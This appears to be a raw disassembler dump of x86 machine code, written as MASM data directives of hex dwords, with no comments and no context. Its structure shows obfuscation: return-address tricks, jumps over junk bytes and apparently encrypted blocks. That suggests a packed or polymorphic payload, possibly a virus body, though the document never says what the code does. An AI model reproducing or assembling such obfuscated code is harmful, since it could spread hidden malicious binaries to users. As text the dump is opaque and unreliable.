1DA64D9Dh, 5BD3FF06h, 29BD8358h dd 61B31h, 53501774h, 42DB8h, 0A1858900h, 8D061B2Dh, 1DA33C9Dh dd 5BD3FF06h, 53006A58h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1404h, 0C3534300h, 0F38B6686h, 9503C08Bh, 61B176Dh dd 2B6D8D8Bh, 9589061Bh, 61B0AEDh, 0F00F983h, 3684h, 3D8B6400h dd 2Ch, 5E9h, 3ADBCC00h, 0FF0B00C5h, 1D840Fh, 800F0000h dd 0 dd 0B58B3F8Bh, 61B2101h, 8166C032h, 0F3C3A1CEh, 0BDB58BAAh dd 35061B32h, 53504149h, 5004F681h, 85C62519h, 61B239Dh dd 9D8B6047h, 61B0A95h, 299589h, 0E861061Bh, 4, 0DCD6882Ch dd 61C88B60h, 10E950h, 0DE180000h, 8ACBAEF4h, 2820BA96h dd 0CDA45253h, 448BB0ADh, 0F530424h, 280h, 5A5A5600h, 8B66008Bh dd 244489D1h, 48D0F04h, 51000000h, 585A6160h, 1198529h dd 0B5FF061Bh, 61B2F11h, 7046858Dh, 6A061Eh, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 160424h, 52420000h, 298AC4C3h dd 0B9CA8166h, 6AD0FFA1h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 16042444h, 45000000h, 122AC355h, 0FCD68BEDh dd 1D599589h, 8589061Bh, 61B0EE5h, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 1Bh, 10C35747h, 14F28965h, 0F8DECCF5h dd 239D85C6h, 8B53061Bh, 258509F3h, 68061B31h, 88598931h dd 81F78B66h, 0E3CD2434h, 958B00C1h, 61B01B1h, 2F11B5FFh dd 0DE8061Bh, 0B0000000h, 66EA4E5Eh, 1AD31195h, 0B1C71A39h dd 1775958Bh, 8D5E061Bh, 1E704685h, 57006A06h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1404h, 0C3574700h, 47E9BA37h dd 0F28B7EC2h, 6AD0FFh, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 170424h, 56460000h, 6AE032C3h, 3858DE9h, 0F061E38h dd 8589F1BFh, 61B11A5h, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 1Ah, 7CC35343h, 789750D4h, 13E9EB41h, 37000000h dd 0C15D7D4Dh, 8C602DA7h, 0C60CC030h, 0B735038Ah, 206AB0FBh dd 95FFFF6Ah, 61B11A5h, 50414935h, 0A185C753h, 1061B2Fh dd 0C7000000h, 1B121585h, 6, 6840F00h, 81000000h, 528361D6h dd 52006A51h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1404h dd 0C3524200h, 83F28B3Fh, 1B1335BDh, 840F0006h, 98h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Ch, 45C35545h, 95A41A84h dd 91402D87h, 6FD858Bh, 6A061Bh, 3E850h, 58200000h, 448958C3h dd 44810424h, 1C0424h, 50400000h, 380F4CC3h, 337C87AEh dd 64F87C95h, 0A3h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1C04h, 0C3564600h, 8E6E26CAh, 708E9F51h dd 79858B1Dh, 0E9061B1Ch, 0Ch, 62828A8Fh, 0D3353776h, 0E9E589FEh dd 8589E08Bh, 61B2159h, 11C1BD83h, 0F00061Bh, 3C885h, 9D85C600h dd 56061B23h, 0EE9h, 0F620C800h, 56B0702Bh, 0CB730F9h dd 685E3DAFh, 83B3F4E9h, 66525056h, 0F82C6BAh, 5AF28B31h dd 4815E58h, 113BF624h, 0CE86026h, 0C9000000h, 0A821F2A4h dd 53CBDD2Ch, 89A964E7h, 1B1305BDh, 8D895F06h, 61B0CCDh dd 41BD8961h, 0FF061B17h, 1B2F11B5h, 1BBE6606h, 46858D78h dd 89061E70h, 1B31D19Dh, 33D0FF06h, 1B0839B5h, 50519006h dd 0F525052h, 0F585A31h, 5A39B631h, 0BA505A58h, 557E58C8h dd 0DE816690h, 8D8DC037h, 61B24F1h, 880F6057h, 0 dd 665A61FCh, 6650F28Bh, 89241DBEh, 6A240Ch, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 150424h, 53430000h, 8B2E9EC3h dd 1B223995h, 0E9046A06h, 0Bh, 9EB4575Bh, 0F1B362C1h, 893648C8h dd 1B2541B5h, 0ED536806h, 9E9CC6Dh, 83000000h, 0A88DF01Ch dd 3ECCD5E8h, 0AD240481h, 57339222h, 0B5FF5EF5h, 61B1F15h dd 0AE8D0FFh, 7000000h, 782D4F5Fh, 0C187F9D7h, 9FEE8029h dd 15BD8B5Ah, 6A061B1Fh, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 1B042444h, 46000000h, 1018C356h, 0ACCF5A40h dd 0B5899EE5h, 61B3171h, 0E83C7F03h, 5, 0C71C48FEh, 0FE913h dd 0A6F30000h, 0D71C02Bh, 46716B6Eh, 0E9AA5816h, 0C7815E76h dd 0F8h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 14h, 0E3C35141h, 5E8h, 951B0300h, 8D0F7FF4h, 6, 32A99D89h dd 0C75A061Bh, 202447h, 6A6000h, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 160424h, 52420000h, 7FCCC4C3h, 0B2F78B66h dd 71BD83B9h, 6224Eh, 13C840Fh, 870F0000h, 0 dd 0BA28C783h, 251231FBh, 879B58Bh, 7C7061Bh, 64696A2Eh dd 0DD4BBA66h, 610447C7h, 6A006174h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 18042444h, 45000000h, 43AC355h dd 8977B0B7h, 1B080D9Dh, 820F06h, 8B000000h, 224E7985h dd 5E806h, 48830000h, 0FA0C9EBh, 38Ch, 0C0EE8000h, 0B5958B5Eh dd 89061B09h, 35BA0C47h, 8B6C9A03h, 224E7D85h, 15953306h dd 66061B02h, 75F7C281h, 6A084789h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 18042444h, 46000000h, 3D5CC356h dd 0F6CCD7Dh, 18Ch, 0C783FC00h, 53006A28h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1404h, 0C3534300h, 68F0F9Bh, 89000000h dd 1B1CE1BDh, 2E07C706h, 336E6F63h, 1B008195h, 447C706h dd 676966h, 18D0Fh, 8BFC0000h, 224E7585h, 9D09FC06h, 61B23A1h dd 510C4789h, 4794E681h, 8B5E19EDh, 224E7185h, 50006A06h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1404h, 0C3504000h dd 8478961h, 118DB52Bh, 0F558061Bh, 24898D8Dh, 8B66061Bh dd 0CD53BAD1h, 66910387h, 50E352BEh, 51006A91h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1504h, 0C3514100h, 0B5FF3665h dd 61B24F1h, 4E8D68Bh, 0 dd 50000010h, 424448Bh, 12E8008Bh, 33000000h, 9F623564h dd 0A7DF11E9h, 2F796EEBh, 9EE84B53h, 44895E2Dh, 0BE660424h dd 0FF5848E5h, 1B1F15B5h, 10E906h, 0DA380000h, 48C30946h dd 4FB320ABh, 0BC7E9A31h, 0BE66ECA0h, 0D0FFA19Ch, 14E9h dd 5DFCD800h, 0FF8DD14Ah, 4E14DD77h, 496A4000h, 4A3BE730h dd 0B84Fh, 95890000h, 61B07FDh, 7AC2BA66h, 840FC00Bh, 55h dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 19h, 0CEC35343h dd 0E4DBE6EAh, 9D89F90Fh, 61B2EC5h, 2111B5FFh, 6A061Bh dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 160424h, 56460000h dd 381FC2C3h, 2F8595FFh, 0C280061Bh, 8BC08BE2h, 1B2A1995h dd 2EBA6606h, 0D1BD8398h, 61B23h, 0BD830975h, 61B3129h dd 50197400h, 0B8C08B53h, 42Dh, 21318589h, 9D8D061Bh, 61DA6B4h dd 585BD3FFh, 3129BD83h, 7400061Bh, 0B8535017h, 42Dh, 21318589h dd 9D8D061Bh, 61DA355h, 585BD3FFh, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 1Ch, 7CC35141h, 0F7426E92h, 0F8078817h dd 8589D68Bh, 61B00F1h, 958BC08Bh, 61B0D0Dh, 8D8DC08Bh dd 6225755h, 24298D89h, 8953061Bh, 1B02F99Dh, 85C75E06h dd 61B0765h, 61ACh, 5744DF81h, 85C72861h, 61B13D1h, 0 dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 15h, 58C35646h dd 9ED281E7h, 0FF500DDFh, 1B2549B5h, 6810F06h, 89000000h dd 1B3309B5h, 8595FF06h, 0E8061B2Fh, 0Eh, 46320148h, 483FFE11h dd 33F63807h, 6A5B7EF7h, 595FF00h, 8B061B22h, 3C1AEBC0h dd 0CE3709F2h, 0F6D064B0h, 0AEFE9E1Bh, 0E7ADFA6Dh, 0A099BD6Eh dd 7A4D62E3h, 0EE8DEh, 47060000h, 744FB07Fh, 8CA8019Eh dd 4C069C78h, 53266FB9h, 5E95B11h, 0AC000000h, 0FC88B654h dd 6B54C381h, 5E90000h, 0E7000000h, 7C4E186Bh, 0EE8858BFh dd 0F5F78144h, 8944EE92h, 1B2E959Dh, 89338B06h, 1B183595h dd 0A5C68106h, 8B14A7EFh, 1B2B1195h, 2BC68106h, 0E9669423h dd 7, 0DC840794h, 815EA4F5h, 42E339F6h, 918D896Ch, 56061B2Ah dd 8FC2BF0Fh, 0B1BD3103h, 81061B2Bh, 0AA3064EBh, 0D3DE8078h dd 3060C381h, 8D8B78AAh, 61B02A1h, 1EF81h, 850F0000h, 0FFFFFFA1h dd 8E18529h, 5E8061Bh, 0F3000000h, 0FB8F8E04h, 5EFABF0Fh dd 1A259D09h, 0C681061Bh, 7129h, 0EE9h, 0E6ED2B00h, 800FA4C4h dd 0A81DBD8Ah, 0B932E518h, 1C19h, 0FE9h, 0A3960500h, 0DC5F5EA3h dd 0F333B286h, 9FD838C9h, 0F08036FFh, 0D38B5BC7h, 142F381h dd 5E87155h, 59000000h, 0D5DDBE84h, 17D5858Bh, 815F061Bh dd 4DC877C3h, 810F75h, 81000000h, 32F8C6F3h, 31958B53h dd 89061B03h, 4195311Eh, 81061B13h, 9FC7FEEh, 5AB86629h dd 7BC6813Bh, 812909FCh, 0E366A7C2h, 850F4919h, 10h, 26E9F9h dd 1EFB0000h, 0D21C0508h, 7166CED5h, 2275B589h, 89E9061Bh dd 0EAFFFFFFh, 3B21F7FCh, 0B17B1C3Ch, 0C6ECC95Fh, 84722EEAh dd 59A98D8Dh, 6A0622h, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 150424h, 56460000h, 89F61EC3h, 1B24298Dh, 2D8D8906h dd 0C7061B12h, 1B076585h, 61C806h, 51006A00h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1604h, 0C3514100h, 37CEA7Ch, 1B0D6195h dd 0D185C706h, 61B13h, 0FF000000h, 1B2299B5h, 52006A06h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1404h, 0C3524200h dd 8B0FF53Ah, 3, 0FFD1B70Fh, 1B2F8595h, 55006A06h, 3E8h dd 0C35D2000h, 246C895Dh, 24448104h, 1604h, 0C3554500h dd 6A4199FCh, 595FF00h, 8B061B22h, 9B0AEBC0h, 782AC62Ch dd 982E301Ah, 0C08BADh, 167h dup(0) dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 15h, 0D1C35040h dd 0F566032h, 8Fh, 6E95B00h, 70000000h, 9ECC3576h, 11E96169h dd 0CE000000h, 419A224Fh, 2E388FB5h, 0A851E150h, 0CE45AABCh dd 53006A9Dh, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1D04h dd 0C3534300h, 0AAD48E7Bh, 0D888B24Dh, 0FF5740Fh, 0C8Bh dd 7E900h, 45A90000h, 0DC7A5BCBh, 0EE96193h, 0EE000000h dd 9AD1212Dh, 0F5DFAF9Eh, 0EFC57325h, 0F85DF935h, 0D2BF0F60h dd 24440161h, 53006A08h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1C04h, 0C3534300h, 9829FE73h, 8B9F74DEh, 0AE9ACh, 64B40000h dd 62942FA4h, 1E1ED908h, 57006A58h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1804h, 0C3574700h, 0A06BEF5Bh, 0B70F6085h dd 9BF081FAh, 61287E0Bh, 6AC39Dh, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 180424h, 52420000h, 218F94C3h, 6660E623h dd 4B1BC981h, 5E957h, 8970000h, 596220F4h, 0CE961h, 0BA3B0000h dd 0E1B68F13h, 5946AA7Fh, 0C08B36C2h, 8F0Fh, 0B6F80000h dd 5880F1Eh, 0B8000000h, 735161F0h, 60FB8B66h, 9E8h, 70318500h dd 2ACB0E86h, 830FB6CBh, 0 dd 1B3575Bh, 870F6158h, 0Ah, 5E9h, 8CEC0F00h, 0EE9EB1Ch dd 0D9000000h, 457AB6Dh, 82F49272h, 0E430309Ch, 0D9B70F02h dd 5E57B251h, 0FE9h, 5CA55200h, 9E000C1Ah, 474CD75h, 246E5C39h dd 0BE665760h, 665F4324h, 6661CF8Bh, 668CD2BAh, 13E9D78Bh dd 0AF000000h, 0A7BA275Fh, 0FFA4F41Ch, 56B42FC4h, 8BDE1955h dd 0E9F83B7Dh, 5, 0C88E6D9h, 68E0F8Eh, 81000000h, 0C72E94E7h dd 66D78A2Ch, 8B66C78Bh, 0FE8CAh, 48D90000h, 0C27CA811h dd 0BF48C73Bh, 0F5C531E0h, 3830F13h, 80000000h, 665E76D1h dd 8166D68Bh, 6683CEE1h, 8834C981h, 30C68166h, 0EE95014h dd 0CE000000h, 0DFAAFE82h, 3A510386h, 4F6526F3h, 0D48A5ED3h dd 0EE9h, 907C7600h, 4A4A6CB7h, 52302E58h, 66342DD3h, 5374A9BEh dd 59DE8B66h, 0FE9h, 62D77B00h, 963AB79h, 0BD395706h, 0D1A5190Ah dd 0F4CB8166h, 0B70F516Eh, 0E96058FAh, 5, 43440580h, 0DA806164h dd 7E910h, 0A5CE0000h, 6DCA2BC0h, 0D9B70F9Eh, 0E9F18B66h dd 9, 23FAC3B3h, 4995EE71h, 0AE960E9h, 0FA000000h, 3ED50225h dd 0FA788A6Dh, 0F0BF0F0Ah, 0C1B70F61h, 66C88B66h, 8166CB8Bh dd 0E8F810F6h, 8, 0C0D77906h, 20302C6Dh, 5BDBBF0Fh, 88E08166h dd 0FC506077h, 3CC8805Bh, 0CA8B6061h, 0D563F781h, 66614468h dd 60344ABBh, 5ACF8166h, 0D38B6652h, 0B3BA6661h, 14E95725h dd 50000000h, 307EC688h, 89478082h, 86D8590Ch, 0DBFB80A6h dd 5B494FBBh, 0EE8h, 0DD810B00h, 0F8E51ECEh, 0D2BFEA91h dd 8B8FE626h, 0CA8A5ED9h, 14E9h, 6BDE7900h, 3289A5C1h dd 0F3E2585Eh, 0B7D4B16Eh, 0B4E4A280h, 0FE9F5h, 39890000h dd 0A99BD9EFh, 0A4AD790Ch, 0C272D4D6h, 25B2B821h, 0C88B5E9Eh dd 7E8h, 9EB7B200h, 583849E2h, 14E8h, 87590500h, 59310C61h dd 0D0B4410Bh, 0F2E1D366h, 3B2EE53Ch, 5BCB8BE3h, 0C3816659h dd 0E380A2A6h, 8E82Eh, 0DDB60000h, 0C48A615Dh, 0DE91248h dd 0F9000000h, 94919A12h, 96978E7Ch, 63CB4D0Dh, 3CBF665Eh dd 0B966F520h, 0BF0FBB46h, 816660C6h, 8B357ED6h, 12E861F2h dd 31000000h, 0C8ECCB78h, 50C17CFDh, 399FB2FAh, 3660F7B5h dd 9E9BDh, 690E0000h, 14D13A0h, 5A07E97Dh, 7E9h, 0CF400B00h dd 367ED432h, 8E8h, 3B436900h, 0C15ACAE6h, 0BF5EFC06h dd 3CBB306Eh, 0C98166F5h, 7E9F822h, 64000000h, 0B12B3DAAh dd 0B70FB06Fh, 0FFC60FEh, 128Bh, 0DE900h, 4ABC0000h, 24BF6CBAh dd 33B187A9h, 61D444B8h, 0AE850h, 0E4560000h, 0B53F6118h dd 0DE5F101Dh, 13E95958h, 0A000000h, 3DB8A28Ch, 1C9553A1h dd 62483482h, 1E76BBB4h, 0B866A45Dh, 3FB1B2B1h, 148D0F60h dd 0E9000000h, 0Fh, 0AF522E0h, 4F6FD6C1h, 0B2053E3Dh, 81BBF630h dd 37BBD9C3h, 0F78B6152h, 0B70F5360h, 0BE665FC9h, 0B561BA43h dd 6511BF68h, 0D08B04C0h, 0EEC28166h, 11E984h, 0D93B0000h dd 0B2D3491Fh, 19A4EEDEh, 89E6C86Fh, 661D73FDh, 0F986A8BFh dd 0D9802EB4h, 0DF8B6677h, 2840F60h, 57000000h, 0D881665Ah dd 0F615AF6h, 18Dh, 8B66F500h, 850F60D0h, 11h, 0CE9h, 37349F00h dd 2A2AC893h, 0FB88CB74h, 5E803h, 84590000h, 0E9D5DDBEh dd 0Fh, 2C25843Eh, 3AF23F28h, 0ABD8E416h, 58F897D0h, 7BB96661h dd 0A8F0F36h, 0F000000h, 480h, 0CEBE6600h, 810F60B5h, 5 dd 0C4C78166h, 0B6D5B9E5h, 8B615DE1h, 0FFB8BDFh, 1783h dd 11E800h, 92C50000h, 0FB87833Dh, 91865DE0h, 90ED8568h dd 584CDA7Eh, 7E94EB6h, 0FC000000h, 2026B4BFh, 0BF0F32E4h dd 0F45B0FEh, 8Dh, 0B9E78000h, 60C8BF0Fh, 19B86660h, 4AB06166h dd 0D2816661h, 11E9C993h, 49000000h, 0ADBED4F2h, 0FAC19E3h dd 0DD4CD498h, 49DB912Bh, 3890Fh, 8B660000h, 0EE9C1h, 0F9730000h dd 9C808EBh, 5FBEF60Dh, 604AB7Ch, 10E9h, 0FBF09A00h, 0A81F72EBh dd 9325558Ah, 83B7CDB6h, 0BE841h, 22810000h, 0A329DCCh dd 7A4B55B8h, 10E92Ch, 8320000h, 71B69F89h, 311A5BABh dd 547F0BFFh, 0FC58141Bh, 58E0Fh, 0F0B80000h, 8B3A8FB9h dd 66A9B0FEh, 0CB8ACF8Bh, 3890Fh, 8B660000h, 8850FC2h dd 56000000h, 8C0Fh, 665E0000h, 63EFDE81h, 4870F60h, 66000000h dd 0E943FCB8h, 0Fh, 0A4720E4Fh, 846C79EDh, 0DE3B9B23h dd 619EA435h, 806091B2h, 0E85302D9h, 0Ch, 2748DF0Ch, 0DD88ED4Dh dd 0DE61E9CFh, 8B615B59h, 0AE860F9h, 58000000h, 0CD2A3DA3h dd 8329CB63h, 24B86653h, 5353594Dh, 0E9615E59h, 0Bh, 7B7841E7h dd 7F6036EDh, 0FE87093h, 58Ah, 0DA816600h, 8166C406h, 66C974E1h dd 0DC27C781h, 0C8C1DF81h, 5E90CCAh, 6000000h, 0DFBD2C88h dd 0BDE08166h, 28C0F58h, 0B0000000h, 8166603Fh, 66167AE0h dd 613A3EBFh, 0FD1B70Fh, 0BF0FDABFh, 7820FF8h, 50000000h dd 24E98166h, 0F0815923h, 73FAB5C3h, 0C68B66FCh, 3830Fh dd 8B660000h, 15BF66FEh, 665E5643h, 0BB79A0BEh, 2DCB36A4h dd 5850Fh, 81660000h, 80CC77EBh, 0B966D0D3h, 14E9490Eh dd 0A4000000h, 61DDF248h, 767AB50Ah, 27DD303Fh, 1157AEC8h dd 0F4592BDh, 88h, 3CE28000h, 0C9BEC18Bh, 0BB64E934h, 0FAFC5C3h dd 1FD98166h, 0C5E38117h, 0E963C5ABh, 0Ch, 0DABE4B49h dd 5E86400Ch, 5400A244h, 0CF816653h, 0F59C634h, 0B966CAB7h dd 8B66CB3Eh, 0C78B66CAh, 0F60F38Bh, 28Bh, 8A5B5600h, 0E85661DEh dd 0Bh, 0ECA5A2F3h, 4FE57FE2h, 66646B53h, 5E5EC68Bh, 0CA8BC18Bh dd 8A35DE80h, 0BF0F60E5h, 61F78BF2h, 2BC18166h, 97BF660Dh dd 8E99Dh, 0E4B80000h, 12FE3A0Ah, 0E9605D19h, 0Dh, 0CFBF7D27h dd 0FD03923Bh, 92950135h, 61EBB22Dh, 64B4D68Bh, 5F31D181h dd 880F2602h, 5, 5F78166h, 0F1BF0F13h, 0CE8h, 32A81700h dd 0F1A05727h, 0DBBCC7DFh, 5FDE8BCAh, 81C78B66h, 34E808F1h dd 860F532Eh, 0Ah, 5E9h, 9FF20200h, 0FC5E4E79h, 68A0Fh dd 0F0810000h, 74085CC0h, 0D2816660h, 816142B9h, 6FCA91E6h dd 0D3B70F63h, 830Fh, 0F3B10000h, 0F93EC9B8h, 0CB8B660Ah dd 3850Fh, 0F5520000h, 0E381665Eh, 800F9D3Bh, 2, 8166D18Bh dd 0F829EFD1h, 819CF680h, 0AB5EFCDFh, 0DE85Dh, 29AF0000h dd 0DCC28FDFh, 0F281C1Bh, 8B830D44h, 0E1815FCAh, 5390E3EDh dd 7666CB81h, 800F15F5h, 3, 0FF3BF0Fh, 0E87h, 9E900h, 0A9D0000h dd 196CFCF9h, 80D49AE7h, 12E931DDh, 3D000000h, 7EDF5284h dd 0E5D8CE2Fh, 0C31278F2h, 737A608Bh, 8E990h, 31300000h dd 9168AD35h, 9E90A7Ah, 8D000000h, 8DAC97F4h, 782ED02Ch dd 6E9h, 0B1885100h, 0E99B8F2Eh, 11h, 29A2D51h, 0E8CCBF04h dd 0AF1B6D09h, 43A90852h, 8ACB8BFBh, 81F18BFEh, 0EDC33CCAh dd 0D98B6659h, 88D081F8h, 815F1FC2h, 4FC410D0h, 25890F63h dd 60000000h, 0BE9h, 0EFC6AB00h, 0AE296CECh, 496487E6h dd 0EE9h, 0D1555E00h, 0B79A30E6h, 74153276h, 61A3D8ACh dd 0FE8h, 5E85FB00h, 8F830589h, 0BB720FA6h dd 70562944h, 0E7816660h, 870F610Ah, 0 dd 0C7BB5A61h, 0F96E219Bh, 38D0Fh, 8B660000h, 81F98BC3h dd 233A4ADFh, 8166F53Bh, 663691E6h, 8923D381h, 2880Fh dd 5F530000h, 8B665B52h, 8E9D3h, 0F01C0000h, 0D5E8A88Dh dd 0EA813ECCh, 65B94040h, 0E953FB8Bh, 13h, 745FC61Bh, 22EA62EEh dd 82DA6C67h, 6DD22492h, 5A0EE036h, 81F9B70Fh, 2AD5F6E1h dd 0CE8B6600h, 0C7F38166h, 14E96Fh, 375F0000h, 0BEA9EDD4h dd 6343D128h, 0CE38AF21h, 71739193h, 880F93DEh, 8, 2840Fh dd 59520000h, 665EF781h, 10E95CD1h, 31000000h, 125C9D5Eh dd 0ED373EDFh, 6C9C7E7Ah, 60D9E5B9h, 60DF8B66h, 0D3FCE881h dd 5B514B72h, 0FF56161h, 386h, 1FE68000h, 80D18B66h, 0D281E0E7h dd 7364781Eh, 10E8h, 0CAB88900h, 68DEE47Ch, 0E8A395E8h dd 31C80006h, 0A479B83Dh, 815B46EFh, 48EB73D2h, 0BF0F5143h dd 0DE95EDEh, 0B2000000h, 0CD488595h, 0CAA0AA89h, 719F7AF4h dd 0A5B820B2h, 52110E74h, 0A810Fh, 5E90000h, 8000000h dd 53E9C147h, 66DA8B59h, 0F28BC88Bh, 4EC0C881h, 8B662271h dd 12E9CFh, 625C0000h, 94344EC0h, 0AA706551h, 6461EF31h dd 630233B3h, 72ABE66h, 8ADBBF0Fh, 0F8BF0FE8h, 0AAE0CB81h dd 8A0F3E83h, 5, 0F5CE8166h, 7E85760h, 15000000h, 2D348DC4h dd 5E9D7FFh, 85000000h, 1C4BB705h, 0C18B5A5Ah, 97E0F381h dd 830F0ABCh, 16h, 11E9h, 2C8AD900h, 1CFBE3C7h, 1BF9C308h dd 0DCBB2A5Bh, 0BF667482h, 0FF9FC44h, 886h, 2800F00h, 8B000000h dd 0C98166FBh, 0E860402Dh, 5, 9A1E7D94h, 0B70F5955h, 0D98B61D9h dd 515850FCh, 5A2EE580h, 0BEDFB966h, 0F08BF960h, 0C3816061h dd 62B6A4EBh, 59CB8A53h, 0D18A6061h, 61C7B70Fh, 8B66F5F9h dd 0AE960C3h, 82000000h, 43D6D03h, 71E824A0h, 3E52BFA5h dd 0F610C49h, 0DF81D2BFh, 2A53F119h, 7E9h, 0C8EF2200h dd 51B75B66h, 0F6B70F60h, 0BE9h, 0EFC83E00h, 0B80016BEh dd 43FCF60Bh, 38E0F61h, 0F000000h, 8166C3B7h, 0F71DCCAh dd 880FCEBFh, 2, 10E8F78Bh, 25000000h, 0F2E2D1D9h, 56FDEABFh dd 0A836A5ECh, 811B69EBh, 83B3F2D0h, 52FC585Bh, 0E3AEBE66h dd 0FE95Fh, 0AE4F0000h, 0A2AF6B2Ch, 0D1A6C9C9h, 0B51A5711h dd 68A0F0Ah, 81000000h, 0B0A317E0h, 0C78BFC3Fh, 23633ABEh dd 0D8BA6642h, 81EE8A48h, 1B0520D7h, 5E977h, 0B2E30000h dd 0F8205CEh, 589h, 3374BE00h, 0FE81D3Dh, 35000000h, 0F8FD2CC8h dd 97572F9h, 0C671EB10h, 5AFC84C5h, 60DE8B66h, 59F956F8h dd 0DDB7F561h, 5DF480F8h, 7C4FC381h, 11E86DBBh, 0EE000000h dd 81DCD02Ah, 6AA4C188h, 0C5061785h, 0F167BDC4h, 8E9h dd 80152600h, 82D2E350h, 8B665BDAh, 66F4B4CEh, 80FBD7BAh dd 0F4BE0BD9h, 0B76F0861h, 0BA6657A6h, 605BD418h, 800F50h dd 5B000000h, 8B61EBB0h, 10E957CBh, 91000000h, 1C1A4C3Bh dd 78534EF9h, 2357A08Dh, 5E198F7Ch, 0BF5744B4h, 478BBAFh dd 9E95Eh, 9E530000h, 1FA8FA26h, 66E1194Eh, 28B1FB8Bh dd 10E960h, 5DFD0000h, 66079641h, 0D963FBA8h, 9F2DD4F7h dd 0E68A328Ah, 0D50CBE61h, 0B45166DAh, 56535E1Eh, 5FA3CA80h dd 0DE81665Ah, 8B66744Ch, 0FD48AC6h, 0BE9F1BFh, 0CC000000h dd 964CF741h, 155C6E64h, 8166857Eh, 0E86714EAh, 7, 4F5E135Bh dd 0E9FA82B2h, 9, 28CF16A7h, 50689648h, 0B70F585Bh, 0CA8B66DEh dd 4BB6650h, 0BF0F5854h, 0F1BF0FD0h, 0E942F280h, 14h, 0CCA67A85h dd 69C78221h, 8BE0191Fh, 42B6BE8Fh, 8292E8EFh, 13E9h, 4216E000h dd 2EA1DE0Fh, 0BCC56EFFh, 0E8803D51h, 68D90A7Dh, 0E6816660h dd 8F0F74C6h, 3, 61D6BF0Fh, 81D68166h, 0D36ABE4Dh, 850F4BFFh dd 0 a8s db '³8è',0Bh,0 db 2 dup(0), 6Ch dd 72B8617Bh, 85CDEC3Eh, 11E88A70h, 0A000000h, 0B1526E62h dd 3075A310h, 0A532E673h, 3D0918FCh, 5E596160h, 6E8h, 59E36D00h dd 660ED305h, 58E620BFh, 81D18B66h, 2D8769C3h, 3C08115h dd 8B4BCBE4h, 0FB8B66C1h, 14E9h, 2D914500h, 6C799DAh, 0E64D16F5h dd 0BACC11A4h, 0AAF24F9Eh, 6054B0BBh, 41D88166h, 61FAB633h dd 0E95BF552h, 7, 6EA5D4CFh, 0E9963193h, 0Ch, 5029A651h dd 20C3E1D2h, 96112EDBh, 890FFA8Bh, 0 dd 12E9h, 0DA899D00h, 3ECB47Dh, 586F69B7h, 0A92DA69Dh dd 608C87FEh, 0E429B866h, 61D2BF0Fh, 0DC63B866h, 0FBB70FF8h dd 0E79DE6B9h, 0F081661Eh, 0DF8B7A2Ah, 8B66C68Bh, 4820FC1h dd 66000000h, 6646E8BAh, 0E280F28Bh, 0F38B6668h, 0B890Fh dd 8C0F0000h, 5, 95D18166h, 12E965h, 76E20000h, 7ABF02B7h dd 1C384D28h, 99996497h, 0A1667E84h, 12E9h, 7159A700h dd 0EAE7A9C4h, 3E20835h, 822B580Dh, 66F68B79h, 14E9DE8Bh dd 0E8000000h, 721A8292h, 4E6179D8h, 0B771EACBh, 0EDDA9997h dd 0F69D55Fh, 0CF8BD9B7h, 8E0F5B52h, 2, 13E9D08Bh, 21000000h dd 0F949857Ch, 5C836471h, 0DDDA6918h, 0CBF7D619h, 7E9FC2Dh dd 0C4000000h, 0AF493370h, 0E28A0090h, 282C59B9h, 0CE92Dh dd 0CC4B0000h, 5FCE0D4h, 3DCCA98h, 0FF89E27h, 580h, 4AD7B800h dd 66F912D2h, 550AD681h, 73A8F381h, 0CA8B7136h, 0E850DA8Bh dd 0Ch, 3EB178E7h, 94267091h, 8D6925EBh, 870Fh, 595A0000h dd 0F71C480h, 685h, 0BE665200h, 815F092Eh, 3FA544D9h, 0C881665Ah dd 5ABFAFFCh, 601E81FCh, 6661D78Ah, 66D239BEh, 0E9C4B6BAh dd 6, 34269065h, 0B70F9A0Ch, 88C380D9h, 1474E881h, 0B8664F72h dd 8C0F9E43h, 5, 0FDDA8166h, 0DECB8190h, 0BF6E1269h, 625D54AEh dd 95C98166h, 77BBB45h, 84B23047h, 0FCF9D38Bh, 4A34E881h dd 0C88B4199h, 25FB966h, 0F5606B0h, 681h, 8E0F00h, 5F000000h dd 48ADB866h, 0C880Fh, 8B0F0000h, 6, 8F0Fh, 0BF0F0000h dd 0EE9DAh, 44130000h, 3D63BF41h, 0C6E5A46Ah, 387B05F1h dd 7E9h, 0F8B42900h, 0D3B952A6h, 0F18B6660h, 61D88B66h dd 14870Fh, 8B0F0000h, 0Eh, 9E9h, 0FCF83A00h, 0A598767Dh dd 8166452Ah, 81055AC7h, 0F36BF7C3h, 3880F58h, 0F000000h dd 0C380C9BFh, 464CBFDAh, 870F22C2h, 15h, 10E9h, 0DDC30C00h dd 11EE3548h, 5BD03FD6h, 0A6730C9h, 0D08153DBh, 48FAED9Eh dd 0E9BE6658h, 3880F58h, 66000000h, 